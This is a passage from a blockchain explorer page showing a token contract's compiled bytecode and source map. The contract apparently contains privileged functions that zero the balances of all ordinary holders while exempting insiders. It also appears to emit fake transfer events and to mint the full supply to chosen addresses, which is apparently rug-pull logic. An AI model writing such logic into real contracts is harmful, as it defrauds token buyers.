2505050565b5f546001600160a01b0316331461059c575f5ffd5b5f5b600654811015610535575f600682815481106105bc576105bc61129b565b5f918252602090912001546001600160a01b031690503081148015906105ef57505f546001600160a01b03828116911614155b80156106095750600b546001600160a01b03828116911614155b801561063257506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b801561065b57506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b801561067557506008546001600160a01b03828116911614155b801561068f57506007546001600160a01b03828116911614155b156106ad576001600160a01b0381165f908152600460205260408120555b5060010161059e565b5f546001600160a01b031633146106cb575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6008546001600160a01b03163314610729575f5ffd5b5f5b818110156107ef57600160045f85858581811061074a5761074a61129b565b905060200201602081019061075f91906111a0565b6001600160a01b0316815260208101919091526040015f9081209190915583838381811061078f5761078f61129b565b90506020020160208101906107a491906111a0565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60016040516107df91815260200190565b60405180910390a360010161072b565b505050565b60606002805461036e90611263565b6008546001600160a01b03163314610819575f5ffd5b6108256009600a6113a6565b6108389068056bc75e2d631000006113b4565b6001600160a01b0382165f818152600460205260408120929092557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6108806009600a6113a6565b6108939068056bc75e2d631000006113b4565b60405190815260200160405180910390a350565b5f6103fb338484610e86565b6009546001600160a01b031633146108c9575f5ffd5b5f5b600654811015610535575f600682815481106108e9576108e961129b565b5f918252602090912001546001600160a01b0316905030811480159061091c57505f546001600160a01b03828116911614155b80156109365750600b546001600160a01b03828116911614155b801561095f57506001600160a01b03811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214155b801561098857506001600160a01b038116737f39c581f595b53c5cb19bd0b3f8da6c935e2ca014155b80156109a257506008546001600160a01b03828116911614155b80156109bc57506007546001600160a01b03828116911614155b156109da576001600160a01b0381165f908152600460205260408120555b506001016108cb565b5f546001600160a01b031633146109f8575f5ffd5b600b54600160a01b900460ff1615610a575760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600354600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610ab1573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ad591906113cb565b6001600160a01b031663c9c6539630600a5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b34573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b5891906113cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610ba2573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bc691906113cb565b600b80546001600160a01b0319166001600160a01b03928316179055600a54610bfb9130911668056bc75e2d63100000610d62565b600a546001600160a01b031663f305d7194730610c2c816001600160a01b03165f9081526004602052604090205490565b5f5f610c3f5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ca5573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610cca91906113e6565b5050600b805460ff60a01b1916600160a01b17905550565b5f546001600160a01b03163314610cf7575f5ffd5b6001600160a01b038116610d09575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dc45760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a4e565b6001600160a01b038216610e255760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a4e565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610e98575f5ffd5b6001600160a01b038216610eaa575f5ffd5b6001600160a01b0383165f90815260046020526040902054610ecc9082610f69565b6001600160a01b038085165f908152600460205260408082209390935590841681522054610efa9082610fcb565b6001600160a01b0383165f90815260046020526040902055610f1b83611029565b610f2482611029565b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e7991815260200190565b5f82821115610fba5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610a4e565b610fc48284611411565b9392505050565b5f80610fd78385611424565b905083811015610fc45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a4e565b6001600160a01b0381165f9081526004602052604090205415610535575f805b60065481101561109a57826001600160a01b0316600682815481106110705761107061129b565b5f918252602090912001546001600160a01b031603611092576001915061109a565b600101611049565b50806110eb57600680546001810182555f919091527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f0180546001600160a01b0319166001600160a01b0384161790555b5050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610535575f5ffd5b5f5f60408385031215611149575f5ffd5b823561115481611124565b946020939093013593505050565b5f5f5f60608486031215611174575f5ffd5b833561117f81611124565b9250602084013561118f81611124565b929592945050506040919091013590565b5f602082840312156111b0575f5ffd5b8135610fc481611124565b5f5f602083850312156111cc575f5ffd5b823567ffffffffffffffff8111156111e2575f5ffd5b8301601f810185136111f2575f5ffd5b803567ffffffffffffffff811115611208575f5ffd5b8560208260051b840101111561121c575f5ffd5b6020919091019590945092505050565b5f5f6040838503121561123d575f5ffd5b823561124881611124565b9150602083013561125881611124565b809150509250929050565b600181811c9082168061127757607f821691505b60208210810361129557634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156112fe578085048111156112e2576112e26112af565b60018416156112f057908102905b60019390931c9280026112c7565b935093915050565b5f82611314575060016103ff565b8161132057505f6103ff565b816001811461133657600281146113405761135c565b60019150506103ff565b60ff841115611351576113516112af565b50506001821b6103ff565b5060208310610133831016604e8410600b841016171561137f575081810a6103ff565b61138b5f1984846112c3565b805f190482111561139e5761139e6112af565b029392505050565b5f610fc460ff841683611306565b80820281158282048414176103ff576103ff6112af565b5f602082840312156113db575f5ffd5b8151610fc481611124565b5f5f5f606084860312156113f8575f5ffd5b5050815160208301516040909301519094929350919050565b818103818111156103ff576103ff6112af565b808201808211156103ff576103ff6112af56fea2646970667358221220151768571c97083036db3f584d99f8425ace88b1a4ebd67f223f32eed615223a64736f6c634300081c0033

Deployed Bytecode Sourcemap

3022:8065:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9567:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10286:167;;;;;;;;;;-1:-1:-1;10286:167:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;10286:167:0;945:187:1;7690:592:0;;;;;;;;;;;;;:::i;:::-;;9871:108;;;;;;;;;;-1:-1:-1;3237:21:0;9871:108;;;1283:25:1;;;1271:2;1256:18;9871:108:0;1137:177:1;10815:269:0;;;;;;;;;;-1:-1:-1;10815:269:0;;;;;:::i;:::-;;:::i;9771:92::-;;;;;;;;;;-1:-1:-1;9771:92:0;;3189:1;1974:36:1;;1962:2;1947:18;9771:92:0;1832:184:1;6448:585:0;;;;;;;;;;;;;:::i;9987:132::-;;;;;;;;;;-1:-1:-1;9987:132:0;;;;;:::i;:::-;-1:-1:-1;;;;;10088:23:0;10061:7;10088:23;;;:14;:23;;;;;;;9987:132;2318:148;;;;;;;;;;;;;:::i;1937:79::-;;;;;;;;;;-1:-1:-1;1975:7:0;2002:6;1937:79;;-1:-1:-1;;;;;2002:6:0;;;2419:51:1;;2407:2;2392:18;1937:79:0;2273:203:1;8289:276:0;;;;;;;;;;-1:-1:-1;8289:276:0;;;;;:::i;:::-;;:::i;9667:96::-;;;;;;;;;;;;;:::i;8575:266::-;;;;;;;;;;-1:-1:-1;8575:266:0;;;;;:::i;:::-;;:::i;5718:173::-;;;;;;;;;;-1:-1:-1;5718:173:0;;;;;:::i;:::-;;:::i;7043:631::-;;;;;;;;;;;;;:::i;10127:151::-;;;;;;;;;;-1:-1:-1;10127:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;10243:18:0;;;10216:7;10243:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10127:151;8849:638;;;;;;;;;;;;;:::i;2116:194::-;;;;;;;;;;-1:-1:-1;2116:194:0;;;;;:::i;:::-;;:::i;9567:92::-;9613:13;9646:5;9639:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9567:92;:::o;10286:167::-;10369:4;10386:37;10395:10;10407:7;10416:6;10386:8;:37::i;:::-;-1:-1:-1;10441:4:0;10286:167;;;;;:::o;7690:592::-;6390:15;;-1:-1:-1;;;;;6390:15:0;1636:10;6390:31;6382:40;;;;;;7750:9:::1;7745:530;7769:9;:16:::0;7765:20;::::1;7745:530;;;7807:16;7826:9;7836:1;7826:12;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;7826:12:0::1;::::0;-1:-1:-1;7895:4:0::1;7875:25:::0;::::1;::::0;::::1;::::0;:66:::1;;-1:-1:-1::0;1975:7:0;2002:6;-1:-1:-1;;;;;7922:19:0;;::::1;2002:6:::0;;7922:19:::1;;7875:66;:113;;;;-1:-1:-1::0;7975:13:0::1;::::0;-1:-1:-1;;;;;7963:25:0;;::::1;7975:13:::0;::::1;7963:25;;7875:113;:159;;;;-1:-1:-1::0;;;;;;8010:24:0;::::1;3503:42;8010:24;;7875:159;:209;;;;-1:-1:-1::0;;;;;;8055:29:0;::::1;3597:42;8055:29;;7875:209;:258;;;;-1:-1:-1::0;8118:15:0::1;::::0;-1:-1:-1;;;;;8106:27:0;;::::1;8118:15:::0;::::1;8106:27;;7875:258;:310;;;;-1:-1:-1::0;8166:19:0::1;::::0;-1:-1:-1;;;;;8154:31:0;;::::1;8166:19:::0;::::1;8154:31;;7875:310;7853:411;;;-1:-1:-1::0;;;;;8220:24:0;::::1;8247:1;8220:24:::0;;;:14:::1;:24;::::0;;;;:28;7853:411:::1;-1:-1:-1::0;7787:3:0::1;;7745:530;;;;7690:592::o:0;10815:269::-;10913:4;10930:36;10940:6;10948:9;10959:6;10930:9;:36::i;:::-;-1:-1:-1;;;;;11008:19:0;;;;;;:11;:19;;;;;;;;1636:10;11008:33;;;;;;;;;10977:77;;10986:6;;11008:45;;11046:6;11008:37;:45::i;:::-;10977:8;:77::i;:::-;-1:-1:-1;11072:4:0;10815:269;;;;;:::o;6448:585::-;1975:7;2002:6;-1:-1:-1;;;;;2002:6:0;1636:10;2064:23;2056:32;;;;;;6501:9:::1;6496:530;6520:9;:16:::0;6516:20;::::1;6496:530;;;6558:16;6577:9;6587:1;6577:12;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;6577:12:0::1;::::0;-1:-1:-1;6646:4:0::1;6626:25:::0;::::1;::::0;::::1;::::0;:66:::1;;-1:-1:-1::0;1975:7:0;2002:6;-1:-1:-1;;;;;6673:19:0;;::::1;2002:6:::0;;6673:19:::1;;6626:66;:113;;;;-1:-1:-1::0;6726:13:0::1;::::0;-1:-1:-1;;;;;6714:25:0;;::::1;6726:13:::0;::::1;6714:25;;6626:113;:159;;;;-1:-1:-1::0;;;;;;6761:24:0;::::1;3503:42;6761:24;;6626:159;:209;;;;-1:-1:-1::0;;;;;;6806:29:0;::::1;3597:42;6806:29;;6626:209;:258;;;;-1:-1:-1::0;6869:15:0::1;::::0;-1:-1:-1;;;;;6857:27:0;;::::1;6869:15:::0;::::1;6857:27;;6626:258;:310;;;;-1:-1:-1::0;6917:19:0::1;::::0;-1:-1:-1;;;;;6905:31:0;;::::1;6917:19:::0;::::1;6905:31;;6626:310;6604:411;;;-1:-1:-1::0;;;;;6971:24:0;::::1;6998:1;6971:24:::0;;;:14:::1;:24;::::0;;;;:28;6604:411:::1;-1:-1:-1::0;6538:3:0::1;;6496:530;;2318:148:::0;1975:7;2002:6;-1:-1:-1;;;;;2002:6:0;1636:10;2064:23;2056:32;;;;;;2425:1:::1;2409:6:::0;;2388:40:::1;::::0;-1:-1:-1;;;;;2409:6:0;;::::1;::::0;2388:40:::1;::::0;2425:1;;2388:40:::1;2456:1;2439:19:::0;;-1:-1:-1;;;;;;2439:19:0::1;::::0;;2318:148::o;8289:276::-;6390:15;;-1:-1:-1;;;;;6390:15:0;1636:10;6390:31;6382:40;;;;;;8379:9:::1;8374:188;8394:29:::0;;::::1;8374:188;;;8481:1;8441:14;:37;8456:18;;8475:1;8456:21;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8441:37:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;8441:37:0;;;:41;;;;8517:18;;8536:1;8517:21;;::::1;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8508:46:0::1;;8552:1;8508:46;;;;1283:25:1::0;;1271:2;1256:18;;1137:177;8508:46:0::1;;;;;;;;8425:3;;8374:188;;;;8289:276:::0;;:::o;9667:96::-;9715:13;9748:7;9741:14;;;;;:::i;8575:266::-;6390:15;;-1:-1:-1;;;;;6390:15:0;1636:10;6390:31;6382:40;;;;;;8717:15:::1;3189:1;8717:2;:15;:::i;:::-;8702:30;::::0;3237:21:::1;8702:30;:::i;:::-;-1:-1:-1::0;;;;;8662:37:0;::::1;;::::0;;;:14:::1;:37;::::0;;;;:70;;;;8758:75:::1;8817:15;3189:1;8817:2;:15;:::i;:::-;8802:30;::::0;3237:21:::1;8802:30;:::i;:::-;8758:75;::::0;1283:25:1;;;1271:2;1256:18;8758:75:0::1;;;;;;;8575:266:::0;:::o;5718:173::-;5804:4;5821:40;5831:10;5843:9;5854:6;5821:9;:40::i;7043:631::-;7093:16;;-1:-1:-1;;;;;7093:16:0;1636:10;7093:32;7085:41;;;;;;7142:9;7137:530;7161:9;:16;7157:20;;7137:530;;;7199:16;7218:9;7228:1;7218:12;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;7218:12:0;;-1:-1:-1;7287:4:0;7267:25;;;;;:66;;-1:-1:-1;1975:7:0;2002:6;-1:-1:-1;;;;;7314:19:0;;;2002:6;;7314:19;;7267:66;:113;;;;-1:-1:-1;7367:13:0;;-1:-1:-1;;;;;7355:25:0;;;7367:13;;7355:25;;7267:113;:159;;;;-1:-1:-1;;;;;;7402:24:0;;3503:42;7402:24;;7267:159;:209;;;;-1:-1:-1;;;;;;7447:29:0;;3597:42;7447:29;;7267:209;:258;;;;-1:-1:-1;7510:15:0;;-1:-1:-1;;;;;7498:27:0;;;7510:15;;7498:27;;7267:258;:310;;;;-1:-1:-1;7558:19:0;;-1:-1:-1;;;;;7546:31:0;;;7558:19;;7546:31;;7267:310;7245:411;;;-1:-1:-1;;;;;7612:24:0;;7639:1;7612:24;;;:14;:24;;;;;:28;7245:411;-1:-1:-1;7179:3:0;;7137:530;;8849:638;1975:7;2002:6;-1:-1:-1;;;;;2002:6:0;1636:10;2064:23;2056:32;;;;;;8912:11:::1;::::0;-1:-1:-1;;;8912:11:0;::::1;;;8911:12;8903:48;;;::::0;-1:-1:-1;;;8903:48:0;;6135:2:1;8903:48:0::1;::::0;::::1;6117:21:1::0;6174:2;6154:18;;;6147:30;6213:25;6193:18;;;6186:53;6256:18;;8903:48:0::1;;;;;;;;;9001:15;::::0;8964::::1;:53:::0;;-1:-1:-1;;;;;;8964:53:0::1;-1:-1:-1::0;;;;;9001:15:0;;::::1;8964:53:::0;;::::1;::::0;;9062:25:::1;::::0;;-1:-1:-1;;;9062:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;9001:15;9062:25:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9044:55:0::1;;9108:4;9115:15;;;;;;;;;-1:-1:-1::0;;;;;9115:15:0::1;-1:-1:-1::0;;;;;9115:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9044:94;::::0;-1:-1:-1;;;;;;9044:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6733:32:1;;;9044:94:0::1;::::0;::::1;6715:51:1::0;6802:32;;6782:18;;;6775:60;6688:18;;9044:94:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9028:13;:110:::0;;-1:-1:-1;;;;;;9028:110:0::1;-1:-1:-1::0;;;;;9028:110:0;;::::1;;::::0;;9181:15:::1;::::0;9149:63:::1;::::0;9166:4:::1;::::0;9181:15:::1;3237:21;9149:8;:63::i;:::-;9225:15;::::0;-1:-1:-1;;;;;9225:15:0::1;:31;9264:21;9309:4;9329:24;9309:4:::0;-1:-1:-1;;;;;10088:23:0;10061:7;10088:23;;;:14;:23;;;;;;;9987:132;9329:24:::1;9368:1;9384;9400:7;1975::::0;2002:6;-1:-1:-1;;;;;2002:6:0;;1937:79;9400:7:::1;9225:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9225:223:0;;;-1:-1:-1;;;;;7167:32:1;;;9225:223:0::1;::::0;::::1;7149:51:1::0;7216:18;;;7209:34;;;;7259:18;;;7252:34;;;;7302:18;;;7295:34;7366:32;;;7345:19;;;7338:61;9422:15:0::1;7415:19:1::0;;;7408:35;7121:19;;9225:223:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9461:11:0::1;:18:::0;;-1:-1:-1;;;;9461:18:0::1;-1:-1:-1::0;;;9461:18:0::1;::::0;;-1:-1:-1;8849:638:0:o;2116:194::-;1975:7;2002:6;-1:-1:-1;;;;;2002:6:0;1636:10;2064:23;2056:32;;;;;;-1:-1:-1;;;;;2197:22:0;::::1;2189:31;;;;;;2257:6;::::0;;2236:38:::1;::::0;-1:-1:-1;;;;;2236:38:0;;::::1;::::0;2257:6;::::1;::::0;2236:38:::1;::::0;::::1;2285:6;:17:::0;;-1:-1:-1;;;;;;2285:17:0::1;-1:-1:-1::0;;;;;2285:17:0;;;::::1;::::0;;;::::1;::::0;;2116:194::o;10461:346::-;-1:-1:-1;;;;;10563:19:0;;10555:68;;;;-1:-1:-1;;;10555:68:0;;8117:2:1;10555:68:0;;;8099:21:1;8156:2;8136:18;;;8129:30;8195:34;8175:18;;;8168:62;-1:-1:-1;;;8246:18:1;;;8239:34;8290:19;;10555:68:0;7915:400:1;10555:68:0;-1:-1:-1;;;;;10642:21:0;;10634:68;;;;-1:-1:-1;;;10634:68:0;;8522:2:1;10634:68:0;;;8504:21:1;8561:2;8541:18;;;8534:30;8600:34;8580:18;;;8573:62;-1:-1:-1;;;8651:18:1;;;8644:32;8693:19;;10634:68:0;8320:398:1;10634:68:0;-1:-1:-1;;;;;10715:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10767:32;;1283:25:1;;;10767:32:0;;1256:18:1;10767:32:0;;;;;;;;10461:346;;;:::o;5897:440::-;-1:-1:-1;;;;;5995:20:0;;5987:29;;;;;;-1:-1:-1;;;;;6035:23:0;;6027:32;;;;;;-1:-1:-1;;;;;6097:22:0;;;;;;:14;:22;;;;;;:34;;6124:6;6097:26;:34::i;:::-;-1:-1:-1;;;;;6072:22:0;;;;;;;:14;:22;;;;;;:59;;;;6170:25;;;;;;;:37;;6200:6;6170:29;:37::i;:::-;-1:-1:-1;;;;;6142:25:0;;;;;;:14;:25;;;;;:65;6218:22;6233:6;6218:14;:22::i;:::-;6251:25;6266:9;6251:14;:25::i;:::-;6311:9;-1:-1:-1;;;;;6294:35:0;6303:6;-1:-1:-1;;;;;6294:35:0;;6322:6;6294:35;;;;1283:25:1;;1271:2;1256:18;;1137:177;976:158:0;1034:7;1067:1;1062;:6;;1054:49;;;;-1:-1:-1;;;1054:49:0;;8925:2:1;1054:49:0;;;8907:21:1;8964:2;8944:18;;;8937:30;9003:32;8983:18;;;8976:60;9053:18;;1054:49:0;8723:354:1;1054:49:0;1121:5;1125:1;1121;:5;:::i;:::-;1114:12;976:158;-1:-1:-1;;;976:158:0:o;789:179::-;847:7;;879:5;883:1;879;:5;:::i;:::-;867:17;;908:1;903;:6;;895:46;;;;-1:-1:-1;;;895:46:0;;9547:2:1;895:46:0;;;9529:21:1;9586:2;9566:18;;;9559:30;9625:29;9605:18;;;9598:57;9672:18;;895:46:0;9345:351:1;5272:440:0;-1:-1:-1;;;;;5337:23:0;;5363:1;5337:23;;;:14;:23;;;;;;:27;5333:372;;5381:11;;5415:194;5439:9;:16;5435:20;;5415:194;;;5501:7;-1:-1:-1;;;;;5485:23:0;:9;5495:1;5485:12;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;5485:12:0;:23;5481:113;;5542:4;5533:13;;5569:5;;5481:113;5457:3;;5415:194;;;;5628:6;5623:71;;5655:9;:23;;;;;;;-1:-1:-1;5655:23:0;;;;;;;;-1:-1:-1;;;;;;5655:23:0;-1:-1:-1;;;;;5655:23:0;;;;;5623:71;5366:339;5272:440;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:610::-;2567:6;2575;2628:2;2616:9;2607:7;2603:23;2599:32;2596:52;;;2644:1;2641;2634:12;2596:52;2684:9;2671:23;2717:18;2709:6;2706:30;2703:50;;;2749:1;2746;2739:12;2703:50;2772:22;;2825:4;2817:13;;2813:27;-1:-1:-1;2803:55:1;;2854:1;2851;2844:12;2803:55;2894:2;2881:16;2920:18;2912:6;2909:30;2906:50;;;2952:1;2949;2942:12;2906:50;3005:7;3000:2;2990:6;2987:1;2983:14;2979:2;2975:23;2971:32;2968:45;2965:65;;;3026:1;3023;3016:12;2965:65;3057:2;3049:11;;;;;3079:6;;-1:-1:-1;2481:610:1;-1:-1:-1;;;2481:610:1:o;3096:388::-;3164:6;3172;3225:2;3213:9;3204:7;3200:23;3196:32;3193:52;;;3241:1;3238;3231:12;3193:52;3280:9;3267:23;3299:31;3324:5;3299:31;:::i;:::-;3349:5;-1:-1:-1;3406:2:1;3391:18;;3378:32;3419:33;3378:32;3419:33;:::i;:::-;3471:7;3461:17;;;3096:388;;;;;:::o;3489:380::-;3568:1;3564:12;;;;3611;;;3632:61;;3686:4;3678:6;3674:17;3664:27;;3632:61;3739:2;3731:6;3728:14;3708:18;3705:38;3702:161;;3785:10;3780:3;3776:20;3773:1;3766:31;3820:4;3817:1;3810:15;3848:4;3845:1;3838:15;3702:161;;3489:380;;;:::o;3874:127::-;3935:10;3930:3;3926:20;3923:1;3916:31;3966:4;3963:1;3956:15;3990:4;3987:1;3980:15;4196:127;4257:10;4252:3;4248:20;4245:1;4238:31;4288:4;4285:1;4278:15;4312:4;4309:1;4302:15;4328:375;4416:1;4434:5;4448:249;4469:1;4459:8;4456:15;4448:249;;;4519:4;4514:3;4510:14;4504:4;4501:24;4498:50;;;4528:18;;:::i;:::-;4578:1;4568:8;4564:16;4561:49;;;4592:16;;;;4561:49;4675:1;4671:16;;;;;4631:15;;4448:249;;;4328:375;;;;;;:::o;4708:902::-;4757:5;4787:8;4777:80;;-1:-1:-1;4828:1:1;4842:5;;4777:80;4876:4;4866:76;;-1:-1:-1;4913:1:1;4927:5;;4866:76;4958:4;4976:1;4971:59;;;;5044:1;5039:174;;;;4951:262;;4971:59;5001:1;4992:10;;5015:5;;;5039:174;5076:3;5066:8;5063:17;5060:43;;;5083:18;;:::i;:::-;-1:-1:-1;;5139:1:1;5125:16;;5198:5;;4951:262;;5297:2;5287:8;5284:16;5278:3;5272:4;5269:13;5265:36;5259:2;5249:8;5246:16;5241:2;5235:4;5232:12;5228:35;5225:77;5222:203;;;-1:-1:-1;5334:19:1;;;5410:5;;5222:203;5457:42;-1:-1:-1;;5482:8:1;5476:4;5457:42;:::i;:::-;5535:6;5531:1;5527:6;5523:19;5514:7;5511:32;5508:58;;;5546:18;;:::i;:::-;5584:20;;4708:902;-1:-1:-1;;;4708:902:1:o;5615:140::-;5673:5;5702:47;5743:4;5733:8;5729:19;5723:4;5702:47;:::i;5760:168::-;5833:9;;;5864;;5881:15;;;5875:22;;5861:37;5851:71;;5902:18;;:::i;6285:251::-;6355:6;6408:2;6396:9;6387:7;6383:23;6379:32;6376:52;;;6424:1;6421;6414:12;6376:52;6456:9;6450:16;6475:31;6500:5;6475:31;:::i;7454:456::-;7542:6;7550;7558;7611:2;7599:9;7590:7;7586:23;7582:32;7579:52;;;7627:1;7624;7617:12;7579:52;-1:-1:-1;;7672:16:1;;7778:2;7763:18;;7757:25;7874:2;7859:18;;;7853:25;7672:16;;7757:25;;-1:-1:-1;7853:25:1;7454:456;-1:-1:-1;7454:456:1:o;9082:128::-;9149:9;;;9170:11;;;9167:37;;;9184:18;;:::i;9215:125::-;9280:9;;;9301:10;;;9298:36;;;9314:18;;:::i

Swarm Source

ipfs://151768571c97083036db3f584d99f8425ace88b1a4ebd67f223f32eed615223a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.